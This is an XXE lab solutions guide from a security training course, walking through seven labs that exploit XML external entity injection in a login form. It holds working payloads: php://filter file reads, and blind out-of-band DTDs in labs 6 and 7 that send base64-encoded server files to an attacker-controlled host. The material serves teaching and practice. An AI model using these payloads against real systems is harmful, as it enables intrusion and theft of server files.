HERA LAB

XXE LABS

LAB 7 <#CODENAME: ANOTHER BREACH IN THE WALL>

eLearn Security
AN INE COMPANY

eLearnSecurity has been chosen by students in 140 countries in the world
and by leading organizations such as:

hp Microsoft intel cisco AT&T verizon U.S. AIR FORCE pwc gemalto security to be free

XXE WILL CONTAIN 7 CHALLENGING LABS:

1. **Warm-up:** Lab XXE v1
2. **Easy**: Lab XXE v2
3. **Medium:** Lab XXE v3
4. **Medium:** Lab XXE v4
5. **Hard:** Lab XXE v5
6. **Medium:** Lab XXE v6
7. **Hard:** Lab XXE v7

1. DESCRIPTION

In these **XML eXternal Entities Injection** labs, you will learn how to exploit this kind of vulnerability by overcoming difficult levels that are increasingly complex.

The first levels are easy but are fundamental to build the advanced exploitation required in the final levels.

The solutions you will see are just a few of the many you can have.

As a suggestion, once you finish these labs, you can try to solve them again using your way and your tools.

All labs are available at the following URL: http://info.xxe.labs/

2. GOAL

The main goal of these labs is to exploit an XML eXternal Entities flaw in a login form.

Then, you have to extract the information the challenge will ask you.

3. Tool

The best tool is, as usual, your **brain**. You may also need:

- Web Browser
- Bash shell
- XXEServe (https://github.com/joernchen/xxeserve)
- HTTP Proxy

SOLUTIONS

Below, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.

NOTE: The techniques to use during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.

SOLUTIONS - LAB #1

BASIC XXE EXPLOITATION: REQUIRES A FILE FOR THE SOLUTION:
SIMPLE WARM-UP

1. EXPLOITATION STEPS

Download the content of *.letmepass*

```
./exploit.sh {DOCROOT}/.letmepass
```

Extract the content from the result

```
[Step 1]     | awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
```

OR

```
[Step 1]     | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
```

Remove JSON escaping characters

```
[Steps 1|2]     |     sed 's/\\\//\//g'
```

2. TESTING COMMAND

Note: this is GNU-based `awk` command:

```
123./exploit.sh /var/www/1/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g'
```

SOLUTIONS – LAB#2

BASIC XXE EXPLOITATION AND BASIC CURL WITH BASE64 ENCODED SOLUTION:

SIMPLE (ENCODED) WARM-UP

1. VALID PASSPHRASE

The hidden username is theOhpe that Base64 encoded is: `dGhlT2hwZQ==`.

To retrieve the value, it is required to perform a `DELETE` request to the `whois.php` script.

2. EXPLOITATION STEPS

Download the content of *.letmepass*

```
./exploit.sh {DOCROOT}/.letmepass
```

Extract the content from the result:

```
[Step 1]     | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
```

Remove JSON escaping characters:

```
[Steps 1|2]     |     sed 's/\\\//\//g'
```

Retrieve the content of *whois.php* using the DELETE verb

```
curl -s "http://2.xxe.labs/whois.php" -X DELETE
```

Base64 decode and store the result in a file.

Note, the base64 command has different implementations; therefore, you may need one of these two switches to decode:

```
[Steps 1|2|3] |    base64 -d
```

OR

```
[Steps 1|2|3] |    base64 -D
```

3. Testing command

```
./exploit.sh php://filter/convert.base64-
encode/resource=/var/www/xxe/2/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g'
```

```
curl -s 'http://2.xxe.labs/whois.php' -X DELETE | base64 -d
```

SOLUTIONS – LAB#3

THE SOLUTION IS ENCODED AND OBFUSCATED IN A PHP FILE:

DON'T BREAK MY XML

1. EXPLOITATION STEPS

Download base64 encoded the content of *.letmepass*:

```
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/3/.letmepass.php
```

Extract the content from the result:

```
[Step 1]     | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
```

Remove JSON escaping characters:

```
[Steps 1|2]     |     sed 's/\\\//\//g'
```

Base64 decode and store result within a file:

```
[Steps 1|2|3] |     base64 -d > whaat.php
```

OR

```
[Steps 1|2|3] |     base64 -D > whaat.php
```

De-obfuscate the `$config` variable and execute the php script:

```
echo 'var_dump($config);' >> whaat.php | php whaat.php
```

2. TESTING COMMAND

```
./exploit.sh php://filter/convert.base64-encode/resource=/var/www
/3/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > whaat.php
```

```
echo 'var_dump($config);' >> whaat.php | php whaat.php
```

SOLUTIONS – LAB#4

A PNG FILE CONTAINS THE SOLUTION:

DO YOU LIKE ASCII? I DO!

1. EXPLOITATION STEPS

Download the base64 encoded the content of *.letmepass*:

```
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/4/.letmepass.php
```

Extract the content from the result:

```
[Step 1]     | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
```

Remove the JSON escaping characters:

```
[Steps 1|2]     |     sed 's/\\\//\//g'
```

Base64 decode and store result within a file:

```
[Steps 1|2|3] |     base64 -d > wohoo.png
```

OR

```
[Steps 1|2|3] |     base64 -D > wohoo.png
```

Open the file

2. TESTING COMMAND

```
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/
4/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > wohoo.png
```

```
open wohoo.png
```

SOLUTIONS – LAB#5

IN A FOLDER FULL OF FILES, THERE IS A SPECIAL ONE...:
WHERE'S THE HIDDEN FILE?

1. Exploitation steps

The solution within `basexml.php`.

a. Part 1

- Download the base64 encoded the content of *.letmepass*.
- Extract the content from the result.
- Remove the JSON escaping characters.
- Base64 decode and store result within a file.

b. Part 2

- Download a list of common PHP file names; this is a good resource: Filenames_PHP_Common.wordlist @ (http://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection)
- Automate the retrieving process:
  - Similar to Part 1
  - Parse result and show the good file that contains the tag `<HIDE_ME_PLEASE>`.

2. Testing command

a. Part 1

Extract instructions from *.letmepass*:

```
./exploit.sh /var/www/5/.letmepass
```

b. Part 2

```
./file_extractor.sh /var/www/5/hidden
```

SOLUTIONS – LAB#6

BLIND XXE HERE. IT REQUIRES SOME OOB EXPLOITATIONS:

GET OUT OF HERE!!

1. EXPLOITATION STEPS

The solution is within `.letmepass.php`; this is a blind XXE exploitation, so you need to set up an OOB channel.

Here are the steps:

- Craft the XML payload moving the external entity definitions in another DTD file (`evil_oob.dtd`)

```
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>"
```

- Create evil_oob.dtd as follow:

```
<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/6/.letmepass.php">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM
'http://xxe.hacker.site:2108/?p=%resource;'>">
```

NOTE: http://xxe.hacker.site:2108/?p=%resource is the path where the xxeserve shell is listening; you can change it with what you want.

- Run the `xxeserve` script

```
ruby xxeserve.rb
```

Note: You can improve `xxeserve` by adding the following lines. With this way, you can customize the *port* and *host* to use:

```
set :bind, 'xxe.hacker.site'
set :port, 2108
```

- Base64 Decode

```
Decode what the shell has received! Check the files folder
```

```
cat files/{IP.TIME} | base64 -d
```

SOLUTIONS – LAB#7

IN A FOLDER FULL OF FILES, THERE IS A SPECIAL ONE... THE FLAW IS BLIND:
GET OUT OF HERE, BUT WAIT... WHERE'S THE HIDDEN FILE?!

1. EXPLOITATION STEPS

The solution is in `Background.php`; this is a blind XXE exploitation, so you need to set up an OOB channel.

Here are the steps:

- Retrieve the `.letmepass` file for instructions
- Automate the retrieving process

a. RETRIEVE THE .LETMEPASS FILE FOR INSTRUCTIONS

Craft the XML payload moving the external entity definitions in another DTD file (`evil_oob.dtd`)

File: *exploit.sh*

```
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>
```

File: *evil_oob.dtd*

```
<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/7/.letmepass.php">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM
'http://xxe.hacker.site:2108/?p=%resource;'>">
```

NOTE: http://xxe.hacker.site:2108/?p=%resource is the path where the xxeserve shell is listening; you can change it with what you want.

Run the `xxeserve` script

```
ruby xxeserve.rb
```

NOTE: I added the following lines in order to customize *port* and *host*.

```
set :bind, 'xxe.hacker.site'
set :port, 2108
```

Decode the `.letmepass` file

Decode what the shell has received! Check the files folder

```
cat files/{IP.TIME} | base64 -d
```

Clear all in files folder

b. Automate the retrieving folder

- Download a list of common PHP file names.
  - **This is good:** *Filenames_PHP_Common.wordlist*

- Make the file extractor script:
  - See *file_extractor.sh*
  - **Note**: there are some hardcoded paths within the script, you should adapt them respect to your configuration.

- Make a proxy script:
  - See *getOOB.php*
  - This script is useful, as it can echo custom XML payloads by just passing to it a GET request to resource to extract.

SOLUTIONS

Each challenge has a folder `solution`*.*

Check out the content to retrieve some useful scripts.